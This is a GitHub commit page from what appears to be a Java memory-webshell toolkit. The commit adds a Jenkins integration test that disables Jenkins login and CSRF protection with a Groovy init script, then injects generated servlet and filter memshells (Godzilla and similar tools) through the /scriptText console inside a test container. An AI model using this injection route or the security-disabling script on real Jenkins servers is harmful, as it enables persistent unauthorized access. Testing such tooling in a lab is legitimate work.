Skip to content

Commit 0e9b0e2

Browse files
committed
test: add jenkins integration test case
1 parent aeed8bc commit 0e9b0e2

4 files changed

Lines changed: 136 additions & 3 deletions

File tree

.github/workflows/memshell-integration-test.yml

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -50,6 +50,8 @@ jobs:
5050
depend_tasks: ""
5151
- middleware: "struts2"
5252
depend_tasks: ":vul:vul-struts2:war"
53+
- middleware: "jenkins"
54+
depend_tasks: ""
5355
runs-on: ubuntu-22.04
5456
name: ${{ matrix.cases.middleware }}
5557
steps:
Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
import jenkins.model.*
2+
import hudson.security.*
3+
import jenkins.security.s2m.AdminWhitelistRule
4+
5+
def instance = Jenkins.getInstance()
6+
7+
// 关闭登录认证
8+
instance.disableSecurity()
9+
10+
// 关闭 CSRF 保护
11+
instance.setCrumbIssuer(null)
12+
13+
instance.save()
Lines changed: 120 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,120 @@
1+
package com.reajason.javaweb.integration.memshell.jenkins;
2+
3+
import com.reajason.javaweb.Server;
4+
import com.reajason.javaweb.integration.AbstractContainerTest;
5+
import com.reajason.javaweb.integration.ContainerTestConfig;
6+
import com.reajason.javaweb.integration.ShellAssertion;
7+
import com.reajason.javaweb.memshell.MemShellResult;
8+
import com.reajason.javaweb.memshell.ShellTool;
9+
import com.reajason.javaweb.memshell.ShellType;
10+
import com.reajason.javaweb.memshell.config.ShellToolConfig;
11+
import com.reajason.javaweb.packer.Packers;
12+
import lombok.SneakyThrows;
13+
import net.bytebuddy.jar.asm.Opcodes;
14+
import okhttp3.FormBody;
15+
import okhttp3.OkHttpClient;
16+
import okhttp3.Request;
17+
import okhttp3.RequestBody;
18+
import okhttp3.Response;
19+
import org.apache.commons.lang3.tuple.Pair;
20+
import org.testcontainers.containers.GenericContainer;
21+
import org.testcontainers.containers.Network;
22+
import org.testcontainers.containers.wait.strategy.Wait;
23+
import org.testcontainers.junit.jupiter.Container;
24+
import org.testcontainers.junit.jupiter.Testcontainers;
25+
import org.testcontainers.utility.MountableFile;
26+
27+
import java.nio.file.Path;
28+
import java.util.List;
29+
import java.util.Locale;
30+
import java.util.Map;
31+
32+
import static org.junit.jupiter.api.Assertions.assertTrue;
33+
34+
/**
35+
* @author ReaJason
36+
* @since 2024/12/7
37+
*/
38+
@Testcontainers
39+
public class JenkinsJetty12ee9ContainerTest extends AbstractContainerTest {
40+
private static final ContainerTestConfig CONFIG = ContainerTestConfig
41+
.builder()
42+
.imageName("jenkins/jenkins:2.492.1")
43+
.env(Map.of("JAVA_OPTS", "-Djenkins.install.runSetupWizard=false"))
44+
.server(Server.Jetty)
45+
.jakarta(true)
46+
.serverVersion("12")
47+
.targetJdkVersion(Opcodes.V17)
48+
.contextPath("")
49+
.healthCheckPath("/login")
50+
.assertLogs(false)
51+
.waitStrategy(Wait.forHttp("/login").forPort(8080))
52+
.supportedShellTypes(List.of(
53+
ShellType.JAKARTA_SERVLET,
54+
ShellType.JAKARTA_FILTER,
55+
ShellType.JAKARTA_LISTENER,
56+
ShellType.JAKARTA_HANDLER
57+
))
58+
.testPackers(List.of(Packers.Groovy))
59+
.unSupportedShellTools(List.of(ShellTool.AntSword))
60+
.enableJspPackerTest(false)
61+
.build();
62+
63+
private static final MountableFile DISABLE_SECURITY_SCRIPT = MountableFile.forHostPath(
64+
Path.of("script", "disable-security.groovy").toAbsolutePath());
65+
private static final OkHttpClient HTTP_CLIENT = new OkHttpClient();
66+
67+
static Network network = newNetwork();
68+
@Container
69+
public static final GenericContainer<?> python = buildPythonContainer(network);
70+
71+
@Container
72+
public static final GenericContainer<?> container = buildContainer(CONFIG, network)
73+
.withCopyToContainer(DISABLE_SECURITY_SCRIPT, "/var/jenkins_home/init.groovy.d/disable-security.groovy");
74+
75+
@Override
76+
protected ContainerTestConfig getConfig() {
77+
return CONFIG;
78+
}
79+
80+
@Override
81+
protected void runShellInject(ContainerTestConfig config, String shellType, String shellTool, Packers packer) {
82+
String url = getUrl();
83+
Pair<String, String> urls = ShellAssertion.getUrls(url, shellType, shellTool, packer);
84+
String shellUrl = urls.getLeft().replace("/test", "/scriptText");
85+
String urlPattern = urls.getRight();
86+
ShellToolConfig shellToolConfig = ShellAssertion.getShellToolConfig(shellType, shellTool, packer);
87+
MemShellResult generateResult = ShellAssertion.generate(urlPattern, config.getServer(), config.getServerVersion(),
88+
shellType, shellTool, config.getTargetJdkVersion(), shellToolConfig, packer);
89+
String payload = packer.getInstance().pack(generateResult.toClassPackerConfig());
90+
91+
injectByScriptText(url, payload);
92+
ShellAssertion.assertShellIsOk(generateResult, shellUrl, shellTool, shellType, getContainer(), getPythonContainer());
93+
}
94+
95+
@SneakyThrows
96+
private void injectByScriptText(String url, String payload) {
97+
RequestBody requestBody = new FormBody.Builder()
98+
.add("script", payload)
99+
.build();
100+
Request request = new Request.Builder()
101+
.header("Content-Type", "application/x-www-form-urlencoded")
102+
.url(url + "/scriptText")
103+
.post(requestBody)
104+
.build();
105+
try (Response response = HTTP_CLIENT.newCall(request).execute()) {
106+
String body = response.body().string();
107+
assertTrue(response.isSuccessful(), "Jenkins scriptText should return 2xx, body: " + body);
108+
assertTrue(isScriptTextResponseOk(body), "Jenkins scriptText should not return a Groovy error, body: " + body);
109+
}
110+
}
111+
112+
private boolean isScriptTextResponseOk(String body) {
113+
String normalizedBody = body.toLowerCase(Locale.ROOT);
114+
return !normalizedBody.contains("groovy.lang.missing")
115+
&& !normalizedBody.contains("groovy.lang.groovyruntimeexception")
116+
&& !normalizedBody.contains("org.codehaus.groovy.control.multiplecompilationerrorsexception")
117+
&& !normalizedBody.contains("script1.groovy")
118+
&& !normalizedBody.contains("exception");
119+
}
120+
}

tools/godzilla/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java

Lines changed: 1 addition & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -187,10 +187,8 @@ public boolean start() {
187187
if (setCookie != null && setCookie.contains("JSESSIONID=")) {
188188
cookie = setCookie.substring(setCookie.indexOf("JSESSIONID="), setCookie.indexOf(";"));
189189
}
190-
if (response.isSuccessful()) {
191-
return true;
192-
}
193190
System.out.println(response.body().string().trim());
191+
return true;
194192
}
195193
}
196194
if (isWs()) {

0 commit comments

Comments
 (0)